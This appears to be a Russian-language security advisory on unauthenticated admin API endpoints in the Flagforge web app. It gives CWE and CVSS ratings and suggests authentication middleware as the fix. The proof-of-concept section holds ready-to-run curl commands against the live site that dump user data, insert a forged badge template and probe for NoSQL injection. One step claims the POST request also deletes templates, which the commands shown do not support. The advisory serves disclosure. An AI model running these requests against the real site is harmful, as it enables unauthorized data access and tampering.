Описание

Затронутые эндпоинты

1. GET /api/admin/badge-templates:
   • Возвращает JSON-массив всех шаблонов значков, хранящихся в коллекции MongoDB badgeTemplates.
   • Раскрываемые поля включают _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt и __v.
   • Не требуются заголовки аутентификации, API-ключи или проверки сессий, что делает эндпоинт общедоступным.
   • Пример ответа (из cURL):

1. POST /api/admin/badge-templates/create:
   • Позволяет создавать новые шаблоны значков с управляемыми пользователем полями: name, description, icon, color, isActive и createdBy.
   • Минимальные проверки на наличие name, description и icon, а также проверка отсутствия дубликата name.
   • Отсутствуют проверки аутентификации или авторизации, что позволяет любому вставлять данные в базу данных.
   • Пример кода (из предоставленного исходного кода):
     root@kitploit:~

     const templateDoc = {
       name: name.trim(),
       description: description.trim(),
       icon: icon.trim(),
       color: color || '#8B5CF6',
       isActive: isActive !== undefined ? isActive : true,
       createdAt: new Date(),
       createdBy: createdBy || 'unknown'
     };
     const result = await db.collection('badgeTemplates').insertOne(templateDoc);
     

Слабые места

• CWE-200: Раскрытие конфиденциальной информации неавторизованному субъекту (эндпоинт GET): Раскрывает идентификаторы пользователей (например, Lagzen Thakuri, [email protected]) и метаданные, что позволяет проводить разведку или фишинг.
• CWE-306: Отсутствие аутентификации для критической функции (оба эндпоинта): Отсутствует контроль доступа к административным маршрутам.
• CWE-284: Ненадлежащий контроль доступа (оба эндпоинта): Позволяет несанкционированное получение и изменение данных.
• Потенциальная NoSQL-инъекция: Хотя эндпоинт POST явно деструктурирует поля, эндпоинт GET может быть уязвим, если он поддерживает параметры запроса (например, ?name[$ne]=test).
• Риск загрязнения журналов: Эндпоинт POST регистрирует управляемые пользователем name и createdBy, что может быть использовано для спама в журналах или инъекций.

Оценка CVSS v3.1

• Базовый балл: 9.1 (Критический)
• Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  • Вектор атаки (AV): Сеть (общедоступные эндпоинты).
  • Сложность атаки (AC): Низкая (не требуются особые условия).
  • Требуемые привилегии (PR): Отсутствуют (аутентификация не требуется).
  • Взаимодействие с пользователем (UI): Отсутствует (прямые HTTP-запросы).
  • Область действия (S): Не изменяется (затрагивает само приложение).
  • Конфиденциальность (C): Высокая (раскрывает пользовательские данные).
  • Целостность (I): Высокая (позволяет произвольное создание данных).
  • Доступность (A): Низкая (потенциальный DoS через массовое создание шаблонов).

Затронутые системы

• Приложение: Flagforge (https://flagforge.xyz)
• Компоненты:
  • API-маршруты Next.js: /api/admin/badge-templates (GET) и /api/admin/badge-templates/create (POST).
  • База данных MongoDB: коллекция badgeTemplates.
• Хостинг: Vercel (бессерверный, определено по заголовку server: Vercel).
• Версии: Неизвестны (предположительно Next.js 13+ на основе синтаксиса NextRequest/NextResponse).
• Зависимости: Драйвер MongoDB (через пользовательскую утилиту подключения @/utlis/db), Next.js.

Воздействие

• Конфиденциальность: Раскрытие идентификаторов пользователей (createdBy) и метаданных (createdAt, updatedAt), которые могут быть использованы для социальной инженерии или целевых атак.
• Целостность: Несанкционированное создание шаблонов значков, что потенциально может привести к спаму, фишингу или отображению вредоносного контента в приложении.
• Доступность: Потенциальный отказ в обслуживании (DoS) путем переполнения эндпоинта POST запросами на создание шаблонов, что потребляет ресурсы базы данных.
• Эксплуатируемость: Высокая, так как эндпоинты общедоступны через простые HTTP-запросы (например, cURL, Postman) без каких-либо барьеров аутентификации.

Доказательство концепции

1. Получение конфиденциальных данных (GET):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates
   

   • Возвращает JSON-список всех шаблонов значков, включая конфиденциальные поля, такие как createdBy (например, [email protected]).

2. Создание несанкционированного шаблона (POST) и удаление шаблонов (DELETE):

   root@kitploit:~

   curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
     -H "Content-Type: application/json" \
     -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
   

   • Создает новый шаблон в коллекции badgeTemplates.
   • Удаляет шаблоны значков.
   • Проверьте, повторно выполнив GET-запрос, чтобы подтвердить появление нового шаблона.

3. Потенциальная NoSQL-инъекция (GET, если поддерживаются параметры запроса):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
   

   • Проверьте, обрабатывает ли эндпоинт операторы MongoDB, что может обойти фильтры или раскрыть дополнительные данные.

Рекомендации

Немедленные исправления

1. Внедрение аутентификации:
   • Добавьте промежуточное ПО для проверки личности пользователя (например, JWT, NextAuth.js или API-ключи) для обоих эндпоинтов.
     root@kitploit:~

     // Пример промежуточного ПО для эндпоинта POST
     export async function POST(request: NextRequest) {
       const authHeader = request.headers.get('authorization');
       if (!authHeader || !verifyToken(authHeader)) { // Реализуйте verifyToken
         return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
       }
       // ... существующий код ...
     }
     

2. Ограничение эндпоинта GET:
   • Ограничьте эндпоинт GET только аутентифицированными администраторами или возвращайте минимальные данные (например, исключите createdBy).
   • Если поддерживаются параметры запроса, очищайте входные данные для предотвращения NoSQL-инъекций.

Ссылки

• CWE-200: https://cwe.mitre.org/data/definitions/200.html
• CWE-306: https://cwe.mitre.org/data/definitions/306.html
• CWE-284: https://cwe.mitre.org/data/definitions/284.html
• OWASP API Security Top 10: https://owasp.org/www-project-api-security/
• Калькулятор CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator